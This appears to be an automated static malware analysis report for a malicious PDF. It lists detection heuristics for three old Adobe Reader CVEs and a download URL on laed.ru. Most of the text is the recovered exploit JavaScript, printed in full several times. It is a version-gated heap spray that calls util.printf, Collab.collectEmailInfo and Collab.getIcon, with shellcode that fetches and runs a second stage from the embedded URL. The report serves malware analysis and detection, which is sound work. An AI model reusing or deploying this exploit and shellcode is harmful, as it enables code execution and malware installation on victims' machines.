Malicious PDF — malware analysis report

Static analysis result for SHA-256 577cdb7b75c198e8…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2013-05-31
MD5: 7bd55162bcfb0cbce1d6791936af0b05 SHA-1: b32e2ebc464335f8f874d002681dfbf582edcdca SHA-256: 577cdb7b75c198e802e50bc1371fb47b4403c1e8d450319033ae84c6c2d1d2de
630 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of an extracted JavaScript file. ClamAV detected this as 'Pdf.Exploit.Agent-36014', suggesting it exploits a known PDF vulnerability. The JavaScript is likely responsible for executing the malicious payload, although its specific actions are not detailed in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    varl26s=newArray();functioni25l(i34x,t89d){while(i34x.length*2<t89d){i34x=i34x;}i34x=i34x.substring(0,t89d/2);returni34x;}functions68s(h44i){varf47k=0x0c0c0c0c;varh37c=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C5 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://laed.ru/exp/load.php?stat=Windows Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=WReferenced by PDF JavaScript
🗂 Part of campaign: laed.ru 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 4109 bytes
SHA-256: f1877623400bade9f5c4824a30f8e33fe17f76b7be3e25fc06b2f1470136ebf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var l26s = new Array();
function i25l(i34x, t89d){
 while (i34x.length * 2 < t89d){
i34x += i34x;
}
i34x = i34x.substring(0, t89d / 2);
return i34x;
}
function s68s(h44i){
var f47k = 0x0c0c0c0c;
var h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (h44i == 1){
f47k = 0x30303030;
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (h44i == 2){
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var m69s = 0x400000;
var v77z = h37c.length * 2;
var t89d = m69s - (v77z + 0x38);
var i34x = unescape("%u9090%u9090");
i34x = i25l(i34x, t89d);
var a26g = (f47k - 0x400000) / m69s;
for (var s61m = 0; s61m < a26g; s61m ++ ){
l26s[s61m] = i34x + h37c;
}
}
function f96v(){
var c73t = app.viewerVersion.toString();
if (c73t > 8){
s68s(1);
var g45k = "12999999999999999999";
for (z74x = 0; z74x < 276; z74x ++ ){
g45k += "8";
}
util.printf("%45000f", g45k);
}
if (c73t < 8){
s68s(0);
var i96i = unescape("%u0c0c%u0c0c");
while (i96i.length < 44952)i96i += i96i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i96i});
}
if (c73t < 9.1)
{
if (app.doc.Collab.getIcon){
s68s(2);
var t28s = unescape("%09");
while (t28s.length < 0x4000)t28s += t28s;
t28s = "N." + t28s;
app.doc.Collab.getIcon(t28s);
}
}
}
f96v();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: ce086e65842a094051d43df95bb8150fff9464a31e8bad973713b8c5a4adcd29
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 804ee4154c51f3cc0331d862bbc3cb26ccd5ee0da3c949b7c85457db313bf0b2
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 80d16f16b4ae380d207e27678cdb40cfc469577a1b55d2c28db0208deff024b6
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 4105 bytes
SHA-256: 9509372b7dbe68c0e041b28cc6c63231c95a13540f5c834341f1e5a3d07aaa7d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var l26s = new Array();
function i25l(i34x, t89d){
 while (i34x.length * 2 < t89d){
i34x += i34x;
}
i34x = i34x.substring(0, t89d / 2);
return i34x;
}
function s68s(h44i){
var f47k = 0x0c0c0c0c;
var h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (h44i == 1){
f47k = 0x30303030;
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (h44i == 2){
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var m69s = 0x400000;
var v77z = h37c.length * 2;
var t89d = m69s - (v77z + 0x38);
var i34x = unescape("%u9090%u9090");
i34x = i25l(i34x, t89d);
var a26g = (f47k - 0x400000) / m69s;
for (var s61m = 0; s61m < a26g; s61m ++ ){
l26s[s61m] = i34x + h37c;
}
}
function f96v(){
var c73t = app.viewerVersion.toString();
if (c73t > 8){
s68s(1);
var g45k = "12999999999999999999";
for (z74x = 0; z74x < 276; z74x ++ ){
g45k += "8";
}
util.printf("E000f", g45k);
}
if (c73t < 8){
s68s(0);
var i96i = unescape("%u0c0c%u0c0c");
while (i96i.length < 44952)i96i += i96i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i96i});
}
if (c73t < 9.1)
{
if (app.doc.Collab.getIcon){
s68s(2);
var t28s = unescape("	");
while (t28s.length < 0x4000)t28s += t28s;
t28s = "N." + t28s;
app.doc.Collab.getIcon(t28s);
}
}
}
f96v();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 4116 bytes
SHA-256: 57401b5a12a0a7d568d44a073d27196ff3c19fbd082654f42fe1866ea96eba1a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var l26s = new Array();
function i25l(i34x, t89d){
 while (i34x.length * 2 < t89d){
i34x += i34x;
}
i34x = i34x.substring(0, t89d / 2);
return i34x;
}
function s68s(h44i){
var f47k = 0x0c0c0c0c;
var h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (h44i == 1){
f47k = 0x30303030;
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (h44i == 2){
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var m69s = 0x400000;
var v77z = h37c.length * 2;
var t89d = m69s - (v77z + 0x38);
var i34x = unescape("%u9090%u9090");
i34x = i25l(i34x, t89d);
var a26g = (f47k - 0x400000) / m69s;
for (var s61m = 0; s61m < a26g; s61m ++ ){
l26s[s61m] = i34x + h37c;
}
}
function f96v(){
var c73t = app.viewerVersion.toString();
if (c73t > 8){
s68s(1);
var g45k = "12999999999999999999";
for (z74x = 0; z74x < 276; z74x ++ ){
g45k += "8";
}
util.printf("E000f", g45k);
}
if (c73t < 8){
s68s(0);
var i96i = unescape("%u0c0c%u0c0c");
while (i96i.length < 44952)i96i += i96i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i96i});
}
if (c73t < 9.1)
{
if (app.doc.Collab.getIcon){
s68s(2);
var t28s = unescape("	");
while (t28s.length < 0x4000)t28s += t28s;
t28s = "N." + t28s;
app.doc.Collab.getIcon(t28s);
}
}
}
f96v();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 4120 bytes
SHA-256: fe76eceabd0873d17f900a17b049ec1b0fdcabb642de7f1f0da42e23be823231
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var l26s = new Array();
function i25l(i34x, t89d){
 while (i34x.length * 2 < t89d){
i34x += i34x;
}
i34x = i34x.substring(0, t89d / 2);
return i34x;
}
function s68s(h44i){
var f47k = 0x0c0c0c0c;
var h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (h44i == 1){
f47k = 0x30303030;
h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (h44i == 2){
